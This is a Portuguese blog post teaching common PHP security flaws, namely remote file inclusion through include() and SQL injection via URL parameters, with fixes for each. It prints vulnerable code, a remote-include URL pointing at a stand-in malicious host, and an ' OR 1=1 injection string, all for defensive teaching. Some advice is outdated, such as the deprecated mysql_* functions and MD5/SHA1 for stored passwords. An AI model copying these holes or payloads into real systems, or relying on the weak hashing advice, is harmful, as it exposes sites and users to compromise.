Jean Carlos Cunha

.:: Diferente e eficiente::.

falhas no php, principais falhas no php, php e suas falhas

Em um momento anti-hacker vou postar as principais falhas da linguagem php.

Cuidados com a URL – Parte I
Uma falha muito comum são aqueles sites que, tentando usar um sistema “legal”, acabam abusando da sorte… São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:

view sourceprint?

02.   
// Verifica se a variável $_GET[‘pagina’] existe
03.   
if (isset($_GET[‘pagina’])) {
04.       
// Pega o valor da variável $_GET[‘pagina’]
05.       
$arquivo = $_GET[‘pagina’];
06.   
} else {
07.       
// Se não existir variável, define um valor padrão
08.       
$arquivo = ‘home.php’;
09.   
}
10.   
include ($arquivo); // Inclui o arquivo
11.?>E na URL do site ficaria:
http://www.meusite.com.br/?pagina=contato.php

Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php

O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.

Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:

view sourceprint?
01.<?php
02.   
// Define uma lista com os arquivos que poderão ser chamados na URL
03.   
$permitidos = array(‘home.php’, ‘produtos.php’, ‘contato.php’, ‘empresa.php’);
04.
 
05.   
// Verifica se a variável $_GET[‘pagina’] existe E se ela faz parte da lista de arquivos permitidos
06.   
if (isset($_GET[‘pagina’]) AND (array_search($_GET[‘pagina’], $permitidos) !== false)) {
07.       
// Pega o valor da variável $_GET[‘pagina’]
08.       
$arquivo = $_GET[‘pagina’];
09.   
} else {
10.       
// Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
11.       
$arquivo = ‘home.php’;
12.   
}
13.   
include ($arquivo); // Inclui o arquivo
14.?>Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site o PHP vai identificar que a variável $_GET[‘pagina’] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.

Cuidados com a URL – Parte II
Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.

Geralmente o formato é o seguinte:
http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12

Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:

view sourceprint?
01.<?php
02.// Formato da URL:
03.//  http://www.meusite.com.br/produtos.php?id=12
04.
 
05.// Salva o parâmetro da URL numa variável
06.$produto = $_GET[‘id’];
07.
 
08.// Monta a consulta MySQL
09.$sql = “SELECT * FROM `produtos` WHERE `id` = ‘”.$produto.”‘ LIMIT 1″;
10.
 
11.// Executa a query
12.$query = mysql_query($sql);
13.
 
14.// Salva o resultado (em formato de array) em uma variável
15.$resultado = mysql_fetch_assoc($query);
16.
 
17.?>A sua consulta ao MySQL ficaria da seguinte forma:

1.
SELECT * FROM `produtos` WHERE `id` = ’12’ LIMIT 1Até aqui tudo bem.. Seu script funciona, você tem o que precisa e tá tudo na mais perfeita harmonia… Mas chega um desocupado invasor e modifica a sua URL deixando da seguinte forma:

http://www.meusite.com.br/produtos.php?id=‘ OR 1=1 OR ”=’

Agora a sua query MySQL fica assim:

1.
SELECT * FROM `produtos` WHERE `id` = ” OR 1=1 OR ” = ” LIMIT 1Viu o que aconteceu? As possíveis condições para a consulta ser verdadeira são: id igual a vazio, 1 igual a 1 e vazio igual a vazio… Essa consulta vai ser dada como verdadeira e todos os produtos serão retornados. Sim meu amigo, é o fim do mundo.

Mas, como eu disse, não estou aqui para te assustar e sim para mostrar como resolver o pepino… Vamos a uma atitude simples mas que te salvará do Apocalipse… É só mudar uma linha:

view sourceprint?
1.// Salva o parâmetro da URL numa variável obrigando-o a ser um valor inteiro
2.$produto = (int)$_GET[‘id’];Com isso eu digo que valor da variável $produto será igual ao valor inteiro (int de integer) da variável $_GET[‘id’]. Problema resolvido meus caros!

Se o atacante colocar uma string como parâmetro (todo SQL-Injection é uma string) ela será convertida para inteiro… E o valor inteiro de uma string é igual a zero. 

Peço atenção dobrada para o entendimento desse último exemplo pois o SQL-Injection é o ataque mais comum dos últimos tempos.

Caso você passe parâmetros via URL que são strings e não números inteiros, você pode usar a função mysql_real_escape_string() da seguinte forma:

view sourceprint?
1.$parametro = mysql_real_escape_string($_GET[‘nome’]);Com isso você evita o uso de aspas e caracteres protegidos do MySQL mantendo a sua query segura. Esse caso também vale para formulários dos quais os dados vão direto para consultas MySQL (formulários de login, cadastro e comentários, por exemplo).

Sobre Usuários e Senhas
Outro ponto muito importante é não exibir, em momento algum, o nome de login (usuário) de algum usuário cadastrado no sistema. Lembre-se que para um usuário conseguir invadir a conta do outro ele precisa de duas coisas: usuário (ou e-mail) e a senha.. Se ele souber o usuário já tem 50% de sucesso.

é interessante criptografar os dados no banco de dados tambem e para isso voce pode utilizar uma chave md5 ou sha1.

fonte tia net e outros blogs.

Uma resposta para “falhas no php, principais falhas no php, php e suas falhas

  1. dotenorio 31 de julho de 2009 às 11:25 am

    Puts, muito bom o post.. eu não tinha pensado dessa forma, mas agora vou mudar um pouco essa questão em meus sites!

    Vlw carinha!!

    []’s

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: